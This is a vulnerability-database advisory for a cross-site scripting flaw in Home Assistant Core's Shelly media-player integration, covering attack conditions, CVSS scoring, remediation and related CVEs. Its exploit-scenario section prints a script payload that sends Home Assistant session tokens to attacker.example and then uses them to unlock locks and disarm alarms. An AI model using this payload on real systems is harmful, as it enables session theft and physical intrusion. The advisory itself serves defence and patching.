Skip to main content

Home Assistant Core EUVDEUVD-2026-46280

| CVE-2026-64823 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-07-21 VulnCheck GHSA-r3v5-j696-5grq
2.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise or acquire integrated Shelly device
  2. Delivery
    Write malicious data:text/html URI to device thumb field
  3. Exploit
    Wait for authenticated HA user to load Shelly media player card
  4. Execution
    HA proxy re-serves attacker HTML in HA web origin
  5. Persist
    Injected script executes and exfiltrates localStorage session token
  6. Impact
    Use token for authenticated calls to lock, alarm, or cover service endpoints

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must control a Shelly device - by owning one, compromising its firmware or local API credentials, or supplying a rogue device - that is already added to the target's Home Assistant instance as an integrated entity. The attacker must be able to write to the thumb configuration field of that device and set it to an arbitrary data: URI with a text/html content type. A Home Assistant user with an active authenticated session must then load a page that causes the HA frontend to render the Shelly media player thumbnail, triggering the proxy endpoint (UI:A). Exploitation is specifically limited by: (1) mandatory attacker control of an already-integrated Shelly device; (2) user interaction to trigger the vulnerable proxy call; (3) the HA instance must have the Shelly integration enabled with at least one media player entity configured. Instances without any Shelly integration are not affected. No Home Assistant account credentials are required by the attacker - they exploit the victim's existing session. The CVSS 4.0 vector PR:N reflects that no HA-level privileges are needed, but the Shelly device prerequisite is a substantial real-world barrier.

Impact

The CVSS 4.0 score of 2.1 accurately reflects the real-world exploitation difficulty: high attack complexity (AC:H) requires the attacker to have pre-existing control over a Shelly device integrated into the target's HA instance, and active user interaction (UI:A) is required to trigger the proxy endpoint. The vulnerable system itself (the Shelly integration) experiences no confidentiality, integrity, or availability impact (VC:N/VI:N/VA:N); the harm manifests entirely in the subsequent system (the HA web origin, SC:L/SI:L). Despite the low score, the downstream consequence is meaningful in a physical security context - authenticated API calls to lock, alarm, and cover endpoints represent real-world intrusion risk. No EPSS score was provided in the source data, no CISA KEV listing exists, and no proof-of-concept has been publicly identified, all of which support treating real-world exploitation probability as low. This is not a high-priority enterprise patch priority, but HA users who run Shelly devices in security-critical roles (door locks, alarm panels) should prioritize the upgrade. The CVSS signal and description are consistent - no conflicting data detected.

Exploit ScenarioDerived

An attacker with control over a Shelly device already integrated into the victim's Home Assistant instance sets the device's thumb field to a data:text/html,<script>document.location='https://attacker.example/steal?t='+encodeURIComponent(localStorage.getItem('hassTokens'))</script> payload via the Shelly device's local API or management interface. When a logged-in HA user navigates to any dashboard panel rendering that Shelly entity's media player card, the HA backend proxies the thumb URI and delivers it to the user's browser with Content-Type: text/html scoped to the HA origin. The script executes, exfiltrates the HA long-lived access token, and the attacker uses it to call /api/services/lock/unlock or /api/services/alarm_control_panel/disarm without further interaction. No public proof-of-concept has been identified at time of analysis.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Cross-site scripting in Home Assistant Core's Shelly integration allows an attacker who controls a Shelly device to execute arbitrary JavaScript in the Home Assistant web origin. The async_get_media_image() method fetches the device's thumb field without validating that the returned content is an image MIME type, permitting a malicious data:text/html URI to be proxied and re-served by the HA backend with Content-Type: text/html to the victim's browser. Exploitation is conditional on attacker control of an integrated Shelly device and requires active user interaction; no CISA KEV listing or public proof-of-concept exists at time of analysis, but successful exploitation grants access to session tokens and authenticated control of locks, alarms, and covers.

RemediationAI

Upgrade to Home Assistant Core 2026.5.4 or later; this release includes the fix from PR #171585 (commit 894a68acb678afc382fe5ea9002e61ab7f862011) which adds MIME type validation to async_get_media_image() enforcing an image-only allowlist. The release is available at https://github.com/home-assistant/core/releases/tag/2026.5.4. If immediate upgrade is not feasible, a targeted compensating control is to remove the Shelly integration from the HA instance (Settings → Devices & Services → Shelly → Delete), which eliminates the vulnerable proxy endpoint entirely at the cost of losing all Shelly device functionality. A narrower workaround is to ensure that Shelly devices on the network cannot receive external configuration changes - placing them on an isolated VLAN with no inbound internet access prevents an external attacker from setting the thumb field, though this does not protect against an attacker already on the local network.

Affected VersionsENISA

Home Assistant Core 0 <2026.5.4

Affected Packages

euvd home_assistant_core fix: 2026.5.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Home Assistant Core (CPE: cpe:2.3:a:home-assistant:home_assistant_core:*:*:*:*:*:*:*:*) is a Python-based home automation platform. Its Shelly integration exposes a media player component whose async_get_media_image() method retrieves thumbnail artwork from Shelly devices via a server-side proxy endpoint. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): the method accepted the Shelly device's thumb field value without enforcing an image-only MIME type allowlist. An attacker-supplied data:text/html,... URI is fetched server-side and the raw bytes are proxied to the browser under the HA web origin with the attacker-controlled Content-Type: text/html, causing the browser to render it as an HTML document and execute embedded scripts. The fix in PR #171585 (commit 894a68acb678afc382fe5ea9002e61ab7f862011, released in 2026.5.4) adds MIME type validation to restrict responses to image content types.

Know when Home Assistant gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.7 MEDIUM

Network vector via Shelly device thumb field; high complexity due to required device control and user interaction; scope changes as HA web origin is impacted beyond the vulnerable Shelly component; no direct impact on the vulnerable system.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
High
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Home Assistant Core before 2026.5.4 contains a cross-site scripting vulnerability in the Shelly integration's async_get_media_image() method that allows attackers controlling a Shelly device's thumb field to serve arbitrary HTML content by supplying a data URI with a text/html content type without validation against an image-only allowlist. Attackers can cause the media player proxy endpoint to serve attacker-controlled bytes with Content-Type text/html in the Home Assistant web origin, enabling theft of session tokens from local storage and authenticated calls to sensitive service endpoints including lock, alarm, and cover controls.

Threat Intelligence Overview

EPSS Score
0.2%
Top 92% exploitable
Prevalence
Medium
popular open-source home automation platform with millions of hobbyist and prosumer deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-27482 CRITICAL POC
10.0 Mar 08

homeassistant is an open source home automation tool. Rated critical severity (CVSS 10.0), this vulnerability is remotel

CVE-2026-91130 CRITICAL POC
9.3 Sep 22

Stored/DOM cross-site scripting in the Home Assistant frontend Statistics Graph card lets an authenticated user or a mal

CVE-2021-47942 HIGH POC
8.7 May 16

Home Assistant Community Store (HACS) 1.10.0 contains a path traversal vulnerability that allows unauthenticated attacke

CVE-2023-41897 CRITICAL
9.6 Oct 19

Home assistant is an open source home automation. Rated critical severity (CVSS 9.6), this vulnerability is remotely exp

CVE-2023-41895 CRITICAL
9.6 Oct 19

Home assistant is an open source home automation. Rated critical severity (CVSS 9.6), this vulnerability is remotely exp

CVE-2026-64824 CRITICAL
9.3 Jul 21

Path-traversal to remote code execution in Home Assistant Core before 2026.6.0 lets an authenticated user who can supply

CVE-2021-3152 MEDIUM POC
5.3 Jan 26

Home Assistant before 2021.1.3 does not have a protection layer that can help to prevent directory-traversal attacks aga

CVE-2026-64825 CRITICAL
9.0 Jul 21

Arbitrary file write in Home Assistant Core before 2026.6.0 lets unauthenticated attackers plant attacker-controlled fil

CVE-2023-41896 CRITICAL
9.0 Oct 19

Home assistant is an open source home automation. Rated critical severity (CVSS 9.0), this vulnerability is remotely exp

CVE-2023-44385 HIGH
8.8 Oct 19

The Home Assistant Companion for iOS and macOS app up to version 2023.4 are vulnerable to Client-Side Request Forgery. R

CVE-2025-62172 HIGH
8.5 Oct 14

Stored cross-site scripting in the Home Assistant Energy dashboard (versions 2025.1.0 through 2025.10.1) lets an authent

CVE-2026-44698 HIGH
8.3 May 29

Cross-origin JavaScript injection in Home Assistant Companion apps for Android (before 2026.4.4) and iOS (before 2026.4.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy